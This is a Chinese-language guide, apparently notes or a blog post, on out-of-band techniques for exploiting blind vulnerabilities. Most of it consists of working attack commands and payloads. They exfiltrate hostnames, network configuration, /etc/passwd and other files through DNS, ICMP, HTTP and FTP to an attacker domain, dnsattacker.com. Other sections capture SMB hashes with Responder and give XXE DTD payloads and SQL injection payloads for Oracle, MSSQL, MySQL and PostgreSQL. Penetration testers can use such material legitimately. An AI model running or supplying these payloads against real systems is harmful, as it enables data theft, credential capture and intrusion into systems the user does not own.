带外通道(OOB)技术清单
字数 1252 2025-08-27 12:33:30
带外通道(OOB)技术全面指南
1. OOB技术概述
带外通道技术(OOB)让攻击者能够通过另一种方式来确认和利用所谓的盲目(blind)的漏洞。在这种盲目的漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。
核心原理
- 利用脆弱的实体生成带外的TCP/UDP/ICMP请求
- 通过这个请求来提取数据
- 成功基于防火墙允许出站请求的规则
最佳选择
DNS是OOB攻击的最佳选择,因为:
- DNS请求通常被允许通过防火墙
- 可以携带数据
- 有成熟的工具支持
2. 基础设施搭建
前提条件
- 具有静态IP的公网服务器
- 注册域并配置DNS解析
具体步骤
- 创建Linux系统(如使用GCP VPS)
- 配置DNS记录:
- 添加Nameserver子域记录
- 为nameserver添加A记录指向服务器IP
- 使用tcpdump监控DNS请求:
sudo tcpdump -n port 53
3. OS命令注入利用
检测方法
使用以下命令触发DNS查询:
- Windows:
nslookup test.oob.dnsattacker.com ping ping.oob.dnsattacker.com - Unix:
host host.oob.dnsattacker.com dig test.oob.dnsattacker.com
数据提取技术
Windows系统
-
基本数据提取:
cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.oob.dnsattacker.com && nslookup !FINAL!"攻击者解码:
echo "encoded output" | base64 -d -
大文件传输(十六进制):
cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=Get-Content output.hex; $subdomain=$text.replace(' ',''); $j=11111;foreach($i in $subdomain){$final=$j.tostring()+'.'+$i+'.file.oob.dnsattacker.com';$j+=1;nslookup $final}"攻击者重建数据:
echo "0x$(cat file.txt | tr ' ' '\n' | awk '/file.oob.dnsattacker.com/{print $1}' | sort -u | cut -d '.' -f 2 | tr -d '\n')" | xxd -r -p
Unix系统
-
十六进制传输:
var=11111 && for b in $(ifconfig | xxd -p); do var=$((var+1)) && dig $var.$b.file.oob.dnsattacker.com; done攻击者重建:
echo "0x$(cat file.txt | tr ' ' '\n' | awk '/file.oob.dnsattacker.com/{print $1}' | sort -u | cut -d '.' -f 2 | tr -d '\n')" | xxd -r -p -
Base64传输(更高效):
var=11111 && for i in $(ifconfig | base64 | awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.file.oob.dnsattacker.com; done攻击者重建:
cat file2.txt | tr ' ' '\n' | awk '/file.oob.dnsattacker.com/{print $1}' | sort -u | cut -d '.' -f 2 | tr -d '\n' | base64 -d
4. 其他协议利用
ICMP协议
Windows:
cmd /v /c "ipconfig > output.txt && powershell $text=Get-Content output.txt; $ICMPClient=New-Object System.Net.NetworkInformation.Ping; $PingOptions=New-Object System.Net.NetworkInformation.PingOptions; $PingOptions.DontFragment=$True; $sendbytes=([text.encoding]::ASCII).GetBytes($text); $ICMPClient.Send('dnsattacker.com',60*1000,$sendbytes,$PingOptions);"
攻击者捕获:
sudo tcpdump 'icmp and src host [受害者IP]' -w powericmp.pcap
解码:
echo "0x$(tshark -n -q -r powericmp.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p
Unix:
cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 dnsattacker.com; done
攻击者捕获和解码同上。
HTTP协议
Windows:
cmd /v /c "ipconfig > temp && certutil -f -encodehex temp output.hex 12 && set /p MYVAR=<output.hex && set FINAL="http://dnsattacker.com:9000/!MYVAR!" && powershell Invoke-WebRequest !FINAL!"
无PowerShell时使用:
mshta !Final!
攻击者解码:
echo "0x$(ncat -lvp 9000 | grep -i get | tr -d '/' | cut -d ' ' -f2)" | xxd -r -p
Unix:
wget --header=evil:$(ifconfig | xxd -p -c 100000) http://dnsattacker.com:9000
或:
wget --post-data exfil='cat /etc/passwd' http://dnsattacker.com
wget --post-file trophy.php http://dnsattacker.com
cat /path/to/sensitive.txt | curl -F ":data=@-" http://dnsattacker.com/test.txt
攻击者解码:
echo "0x$(ncat -lvp 9000 | grep -i evil | tr -d '/' | cut -d ' ' -f2)" | xxd -r -p
SMB协议(窃取哈希)
Windows:
net use h: \\dnsattacker.com\web
攻击者使用Responder捕获:
sudo ./Responder.py -I eth0
或带认证的:
net use h: \\dnsattacker.com\web /user:{password} && copy {file.txt to Copy} h:\{file.txt}.txt
5. XXE漏洞利用
检测
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://xxeoob.oob.dnsattacker.com">
<foo>&e1;</foo>
监控DNS查询确认漏洞。
数据提取方法
HTTP方式
攻击者准备:
python -m SimpleHttpServer 9000
恶意XML:
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://dnsattacker.com:9000/linux.dtd">
%sp;%param1;]>
<r>&exfil;</r>
linux.dtd内容:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://dnsattacker.com:9000/%data;'>">
Windows版dtd:
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://dnsattacker.com:9000/%data;'>">
FTP方式
攻击者运行:
python -m SimpleHttpServer 9000
python xxeftp.py
恶意XML同上,但dtd改为:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>">
SMB方式(窃取哈希)
攻击者运行:
sudo ./Responder.py -I eth0
恶意XML:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "\\dnsattacker.com\test" >
]>
<foo>&xxe;</foo>
其他可用payload:
http://oob.dnsattacker.com:port/%data
ftp://oob.dnsattacker.com:port/%data
gopher://oob.dnsattacker.com:port/%data
ldap://oob.dnsattacker.com:port
\\oob.dnsattacker.com\C$\1.txt
6. SQL注入利用
Oracle数据库
检测:
SELECT DBMS_LDAP.INIT(('oob.dnsattacker.com',80) FROM DUAL;
数据提取:
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.attacker.com',80) FROM dual;
SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.attacker.com',80) FROM dual;
替代方法(10G及以下版本):
UTL_INADDR.GET_HOST_ADDRESS, UTL_HTTP.REQUEST, HTTP_URITYPE.GETCLOB, DBMS_LDAP.INIT, UTL_TCP
MSSQL
检测:
EXEC master..xp_dirtree('\\oob.dnsattacker.com\') --
数据提取:
DECLARE @data varchar(1024);
SELECT @data=(SELECT system_user);
EXEC('master..xp_dirtree "\\'+@data+'.oob.dnsattacker.com\foo$"');
其他方法:
xp_fileexists, xp_subdirs, xp_getfiledetails, sp_add_jobstep
MySQL
检测:
SELECT LOAD_FILE(CONCAT('\\\\','oob.dnsattacker.com\\test.txt'));
数据提取:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(CONCAT(user(),"\n"))),'.oob.dnsattacker.com\\test.txt'));
PostgreSQL
检测:
CREATE EXTENSION dblink;
SELECT dblink_connect('host=oob.dnsattacker.com user=postgres password=password dbname=dvdrental');
数据提取:
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS
$$
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT encode(convert_to(concat(user,' '),'UTF8'),'hex'));
exec_cmd:=E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.oob.dnsattacker.com\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$$
LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
7. 技术限制
-
域名限制:
- 最多127个子域
- 每个子域最多63个字符
- 完整域名最大长度253字符
-
缓存问题:
- 需要为每个请求添加唯一值
-
安全性:
- DNS是明文通道
- 数据可能被中间节点和DNS服务器缓存
- 不适用于敏感数据传输